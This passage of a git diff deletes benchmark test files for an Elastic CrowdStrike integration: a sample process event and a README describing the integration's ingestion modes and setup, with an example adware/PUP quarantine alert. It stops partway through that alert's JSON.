-        "id": "ffffffff655344736aca58d17fb570f0"
-    },
-    "elastic_agent": {
-        "id": "eb2db106-5958-49b5-ae25-c286e62857e1",
-        "snapshot": false,
-        "version": "8.18.0"
-    },
-    "event": {
-        "action": "ProcessRollup2",
-        "agent_id_status": "verified",
-        "category": [
-            "process"
-        ],
-        "created": "2020-10-01T09:58:32.519Z",
-        "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d",
-        "ingested": "2026-02-24T11:51:06Z",
-        "kind": "event",
-        "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1601546312519\"}",
-        "outcome": "success",
-        "type": [
-            "start"
-        ]
-    },
-    "host": {
-        "id": "ffffffff655344736aca58d17fb570f0",
-        "ip": [
-            "16.15.12.10"
-        ],
-        "name": "FEVWSN1-234",
-        "os": {
-            "type": "windows"
-        }
-    },
-    "input": {
-        "type": "aws-s3"
-    },
-    "message": "ProcessRollup2",
-    "observer": {
-        "address": [
-            "67.43.156.14"
-        ],
-        "geo": {
-            "continent_name": "Asia",
-            "country_iso_code": "BT",
-            "country_name": "Bhutan",
-            "location": {
-                "lat": 27.5,
-                "lon": 90.5
-            }
-        },
-        "ip": [
-            "67.43.156.14"
-        ],
-        "serial_number": "ffffffff655344736aca58d17fb570f0",
-        "version": "1007.3.0012309.1"
-    },
-    "process": {
-        "Ext": {
-            "token": {
-                "integrity_level_name": "LOW"
-            }
-        },
-        "args": [
-            "C:\\WINDOWS\\system32\\backgroundTaskHost.exe",
-            "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca"
-        ],
-        "args_count": 2,
-        "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca",
-        "entity_id": "2450046082233",
-        "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe",
-        "hash": {
-            "md5": "50d5fd1290d94d46acca0585311e74d5",
-            "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37"
-        },
-        "name": "backgroundTaskHost.exe",
-        "parent": {
-            "entity_id": "2439558094566",
-            "name": "svchost.exe"
-        },
-        "pid": 22272,
-        "start": "2020-11-08T17:06:21.648Z"
-    },
-    "related": {
-        "hash": [
-            "50d5fd1290d94d46acca0585311e74d5",
-            "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
-            "3998263252"
-        ],
-        "hosts": [
-            "FEVWSN1-234",
-            "COMPUTER1"
-        ],
-        "ip": [
-            "67.43.156.14",
-            "16.15.12.10"
-        ],
-        "user": [
-            "Alan-One",
-            "DOMAIN\\BRADLEYA",
-            "S-1-12-1-3697283754-1083485977-2164330645-2516515886"
-        ]
-    },
-    "tags": [
-        "preserve_original_event",
-        "forwarded",
-        "crowdstrike-fdr"
-    ],
-    "user": {
-        "domain": "DOMAIN",
-        "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886",
-        "name": "Alan-One"
-    }
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
deleted file mode 100644
index 6598cc58b1..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
+++ /dev/null
@@ -1,2281 +0,0 @@
-# CrowdStrike Integration
-
-The [CrowdStrike](https://www.crowdstrike.com/) integration allows you to easily connect your CrowdStrike Falcon platform to Elastic for seamless onboarding of alerts and telemetry from CrowdStrike Falcon and Falcon Data Replicator. Elastic Security can leverage this data for security analytics including correlation, visualization and incident response. It provides support using four different modes for integrating CrowdStrike to the Elastic:
-
-1. **Falcon SIEM Connector**: This is a pre-built integration designed to connect CrowdStrike Falcon with Security Information and Event Management (SIEM) systems. It streamlines the flow of security data from CrowdStrike Falcon to the SIEM, providing a standardized and structured way of feeding information into the SIEM platform. It includes the following datasets for receiving logs:
-
-- `falcon` dataset: consists of endpoint data and Falcon platform audit data forwarded from Falcon SIEM Connector.
-
-    **Log File Format and Location**
-
-    The CrowdStrike integration only supports JSON output format from the SIEM Connector.
-
-    - Log files are written to multiple rotated output files based on the `output_path` setting in the `cs.falconhoseclient.cfg` file.
-    - The default output location for the Falcon SIEM Connector is `/var/log/crowdstrike/falconhoseclient/output`.
-    - By default, files named `output*` in `/var/log/crowdstrike/falconhoseclient` directory contain valid JSON event data and should be used as the source for ingestion.
-
-    >Note: Files with names like `cs.falconhoseclient-*.log` in the same directory are primarily used for logging internal operations of the Falcon SIEM Connector and are not intended to be consumed by this integration.
-
-2. **CrowdStrike REST API**: This provides a programmatic interface to interact with the CrowdStrike Falcon platform. It allows users to perform various operations such as querying information about unified alerts and hosts/devices. It includes the following datasets for receiving logs:
-
-- `alert` dataset: It is typically used to retrieve detailed information about unified alerts generated by the CrowdStrike Falcon platform, via Falcon Intelligence Alert API - `/alerts/combined/alerts/v1`.
-
-- `host` dataset: It retrieves all the hosts/devices in your environment providing information such as device metadata, configuration, and status generated by the CrowdStrike Falcon platform, via Falcon Intelligence Host/Device API - `/devices/combined/devices/v1`. For GovCloud CIDs it uses `/devices/queries/devices/v1` and `/devices/entities/devices/v2` endpoints. It is more focused to provide the management and monitoring information of devices such as login details, status, policies, configuration etc.
-
-    >  NOTE: GovCloud CID users must enable the GovCloud option in the integration configuration to query the `/devices/queries/devices/v1` endpoint instead of the unsupported `/devices/combined/devices/v1` endpoint.
-
-- `vulnerability` dataset: It retrieves all the vulnerabilities in your environment, providing information such as severity, status, confidence levels, remediation guidance, and affected hosts, as detected by the CrowdStrike Falcon platform, via the Falcon Spotlight Vulnerability API - `/spotlight/combined/vulnerabilities/v1`.
-
-3. **Falcon Data Replicator**: This collects events from your endpoints, cloud workloads, identities, and data. CrowdStrike Falcon Data Replicator (FDR) enables you with actionable insights to improve SOC performance. FDR contains data collected by the Falcon platform's single, lightweight agent. It includes the following datasets for receiving logs:
-
-- `fdr` dataset: consists of logs forwarded using the [Falcon Data Replicator](https://github.com/CrowdStrike/FDR). In addition to the existing log types, the integration supports parsing of Cloud Security Posture Management (CSPM). CSPM contains Indicators of Misconfiguration (IOM) and Indicators of Attack (IOA) events.
-
-4. **CrowdStrike Event Stream**: This streams security logs from CrowdStrike Event Stream, including authentication activity, cloud security posture management (CSPM), firewall logs, user activity, and XDR data. It captures real-time security events like user logins, cloud environment changes, network traffic, and advanced threat detections. The streaming integration provides continuous monitoring and analysis for proactive threat detection. It enhances visibility into user behavior, network security, and overall system health. This setup enables faster response capabilities to emerging security incidents. It includes the following datasets for receiving logs:
-
-- `falcon` dataset: consists of streaming data forwarded from CrowdStrike Event Stream.
-
-## Compatibility
-
-This integration is compatible with CrowdStrike Falcon SIEM-Connector-v2.0, REST API, and CrowdStrike Event Streaming.
-For Rest API support, this module has been tested against the **CrowdStrike API Version v1/v2**.
-
-## Requirements
-
-### Agentless enabled integration
-Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html).
-
-Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments.  This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features.
-
-### Agent based installation
-
-Elastic Agent must be installed. For more details, check the Elastic Agent [installation instructions](docs-content://reference/fleet/install-elastic-agents.md).
-You can install only one Elastic Agent per host.
-Elastic Agent is required to stream data from the GCP Pub/Sub or REST API and ship the data to Elastic, where the events will then be processed via the integration's ingest pipelines.
-
-## Setup
-
-### Collect data from CrowdStrike REST API 
-
-The following parameters from your CrowdStrike instance are required:
-
-1. Client ID
-2. Client Secret
-3. Token url
-4. API Endpoint url
-5. Required scopes for each data stream :
-
-    | Data Stream   | Scope         |
-    | ------------- | ------------- |
-    | Alert         | read:alert    |
-    | Host          | read:host     |
-    | Vulnerability | read:vulnerability |
-
-### Collect data from CrowdStrike Event Stream
-
-The following parameters from your CrowdStrike instance are required:
-
-1. Client ID
-2. Client Secret
-3. Token URL
-4. API Endpoint URL
-5. CrowdStrike App ID
-6. Required scopes for event stream:
-
-    | Data Stream   | Scope               |
-    | ------------- | ------------------- |
-    | Event Stream  | read: Event streams |
-
-## Logs
-
-### Alert
-
-This is the `Alert` dataset.
-
-#### Example
-
-An example event for `alert` looks as following:
-
-```json
-{
-    "@timestamp": "2023-11-03T18:00:22.328Z",
-    "agent": {
-        "ephemeral_id": "efb69ba7-0736-4cf7-a39f-70f3183e7530",
-        "id": "d541c008-3558-403d-9392-4faa6d42fcb4",
-        "name": "elastic-agent-43429",
-        "type": "filebeat",
-        "version": "8.18.0"
-    },
-    "crowdstrike": {
-        "alert": {
-            "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-            "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-            "alleged_filetype": "exe",
-            "cid": "92012896127c4a948236ba7601b886b0",
-            "cloud_indicator": false,
-            "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
-            "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-            "confidence": 10,
-            "context_timestamp": "2023-11-03T18:00:31.000Z",
-            "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
-            "crawl_edge_ids": {
-                "Sensor": [
-                    "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
-                    "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<WalY1K_h%QDBBF;_e7S!!*'!",
-                    "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
-                    "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
-                    "N6B%O'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbCuNjL#gW&=)E4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
-                    "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
-                    "N6CU&%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!",
-                    "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
-                    "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
-                    "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N"
-                ]
-            },
-            "crawl_vertex_ids": {
-                "Sensor": [
-                    "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                    "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                    "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                    "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
-                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
-                    "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
-                ]
-            },
-            "crawled_timestamp": "2023-11-03T19:00:23.985Z",
-            "created_timestamp": "2023-11-03T18:01:23.995Z",
-            "data_domains": [
-                "Endpoint"
-            ],
-            "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-            "device": {
-                "agent_load_flags": 0,
-                "agent_local_time": "2023-10-12T03:45:57.753Z",
-                "agent_version": "7.04.17605.0",
-                "bios_manufacturer": "ABC",
-                "bios_version": "F8CN42WW(V2.05)",
-                "cid": "92012896127c4a948236ba7601b886b0",
-                "config_id_base": "65994763",
-                "config_id_build": "17605",
-                "config_id_platform": 3,
-                "external_ip": "81.2.69.142",
-                "first_seen": "2023-04-07T09:36:36.000Z",
-                "groups": [
-                    "18704e21288243b58e4c76266d38caaf"
-                ],
-                "hostinfo": {
-                    "active_directory_dn_display": [
-                        "WinComputers",
-                        "WinComputers\\ABC"
-                    ],
-                    "domain": "ABC.LOCAL"
-                },
-                "hostname": "ABC709-1175",
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "last_seen": "2023-11-03T17:51:42.000Z",
-                "local_ip": "81.2.69.142",
-                "mac_address": "AB-21-48-61-05-B2",
-                "machine_domain": "ABC.LOCAL",
-                "major_version": "10",
-                "minor_version": "0",
-                "modified_timestamp": "2023-11-03T17:53:43.000Z",
-                "os_version": "Windows11",
-                "ou": [
-                    "ABC",
-                    "WinComputers"
-                ],
-                "platform_id": "0",
-                "platform_name": "Windows",
-                "product_type": "1",
-                "product_type_desc": "Workstation",
-                "site_name": "Default-First-Site-Name",
-                "status": "normal",
-                "system_manufacturer": "LENOVO",
-                "system_product_name": "20VE"
-            },
-            "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-            "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-            "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-            "grandparent_details": {
-                "cmdline": "C:\\Windows\\system32\\userinit.exe",
-                "filename": "userinit.exe",
-                "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
-                "local_process_id": "4328",
-                "md5": "b07f77fd3f9828b2c9d61f8a36609741",
-                "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
-                "process_id": "392734873135",
-                "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                "timestamp": "2023-10-30T16:49:19.000Z",
-                "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "user_name": "yuvraj.mahajan"
-            },
-            "has_script_or_module_ioc": true,
-            "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-            "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-            "ioc_context": [
-                {
-                    "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "ioc_source": "library_load",
-                    "ioc_type": "hash_sha256",
-                    "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "type": "module"
-                }
-            ],
-            "ioc_values": [
-                "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-            ],
-            "is_synthetic_quarantine_disposition": true,
-            "local_process_id": "17076",
-            "logon_domain": "ABSYS",
-            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-            "name": "PrewittPupAdwareSensorDetect-Lowest",
-            "objective": "FalconDetectionMethod",
-            "parent_details": {
-                "cmdline": "C:\\WINDOWS\\Explorer.EXE",
-                "filename": "explorer.exe",
-                "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                "local_process_id": "1040",
-                "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                "process_id": "392736520876",
-                "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                "timestamp": "2023-11-03T18:00:32.000Z",
-                "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "user_name": "mohit.jha"
-            },
-            "parent_process_id": "392736520876",
-            "pattern_disposition": 2176,
-            "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
-            "pattern_disposition_details": {
-                "blocking_unsupported_or_disabled": false,
-                "bootup_safeguard_enabled": false,
-                "critical_process_disabled": false,
-                "detect": false,
-                "fs_operation_blocked": false,
-                "handle_operation_downgraded": false,
-                "inddet_mask": false,
-                "indicator": false,
-                "kill_action_failed": false,
-                "kill_parent": false,
-                "kill_process": false,
-                "kill_subprocess": false,
-                "operation_blocked": false,
-                "policy_disabled": false,
-                "process_blocked": true,
-                "quarantine_file": true,
-                "quarantine_machine": false,
-                "registry_operation_blocked": false,
-                "rooting": false,
-                "sensor_only": false,
-                "suspend_parent": false,
-                "suspend_process": false
-            },
-            "pattern_id": "5761",
-            "platform": "Windows",
-            "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
-            "process_end_time": "2023-11-03T18:00:21.000Z",
-            "process_id": "399748687993",
-            "process_start_time": "2023-11-03T18:00:13.000Z",
-            "product": "epp",
-            "quarantined_files": [
-                {
-                    "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "state": "quarantined"
-                }
-            ],
-            "scenario": "NGAV",
-            "severity": 30,
-            "severity_name": "low",
-            "sha1": "0000000000000000000000000000000000000000",
-            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-            "show_in_ui": true,
-            "source_products": [
-                "FalconInsight"
-            ],
-            "source_vendors": [
-                "CrowdStrike"
-            ],
-            "status": "new",
-            "tactic": "MachineLearning",
-            "tactic_id": "CSTA0004",
-            "technique": "Adware/PUP",
-            "technique_id": "CST0000",
-            "timestamp": "2023-11-03T18:00:22.328Z",
-            "tree_id": "1931778",
-            "tree_root": "38687993",
-            "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
-            "type": "ldt",
-            "updated_timestamp": "2023-11-03T19:00:23.985Z",
-            "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-            "user_name": "mohit.jha"
-        }
-    },
-    "data_stream": {
-        "dataset": "crowdstrike.alert",
-        "namespace": "96581",
-        "type": "logs"
-    },
-    "device": {
-        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-        "manufacturer": "LENOVO",
-        "model": {
-            "name": "20VE"
-        }
-    },
-    "ecs": {
-        "version": "8.17.0"
-    },
-    "elastic_agent": {
-        "id": "d541c008-3558-403d-9392-4faa6d42fcb4",
-        "snapshot": true,
-        "version": "8.18.0"
-    },
-    "event": {
-        "agent_id_status": "verified",
-        "category": [
-            "process"
-        ],
-        "dataset": "crowdstrike.alert",
-        "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-        "ingested": "2025-10-09T10:20:29Z",
-        "kind": "alert",
-        "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K\\u0026cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ\\u0026-o0:dR/\\u003e\\u003e2J\\u003cd2T/ji6R\\u0026RIHe-tZSkP*q?HW;:leq.:kk)\\u003eIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6\\u003eZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg\\u003cLga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@\\u003cWalY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\\\u003cH^hNG\\\"ZQ3#U3\\\"eo\\u003c\\u003e92t[f!\\u003e*b9WLY@H!V0N,BJsNSTD:?/+fY';e\\u003cOHh9AmlT?5\\u003cgGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E\\u003cG5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb\\u003c6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O'=_7d#%u\\u0026d[+LTNDs\\u003c3307?8n=GrFI:4YYGCL,cIt-Tuj!\\u0026\\u003c6:3RbCuNjL#gW\\u0026=)E4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6\\u003ea%iM\\\"\\u003cFTSe/eH8M:\\u003c9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6\\u0026CHpVKO3\\u003cDgK9,Y/e@V\\\"b\\u0026m!\\u003c\\u003c'\",\"N6CU\\u0026%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.\\u0026eM\\u003cQer\\u003e__\\\"59K'R?_='rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A\\u0026FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\\\u0026\\u0026V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F\\u003c0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##\\u0026$^81(P+hN*-#rf/cUs)Wb\\\"\\u003c_/?I'[##WMh'H[Rcl+!!\\u003c\\u003c'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=\\u003e#DM0j$_\\u003cr/JG0TCEQ!Ug(be3)\\u0026R2JnX+RSqorgC-NCjf6XATBWX(5\\u003cL1J1DV\\u003e44ZjO9q*d!YLuHhkq!3\\u003e3tpi\\u003eOPYZp9]5f1#/AlRZL06/I6cl\\\"d.\\u0026=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4a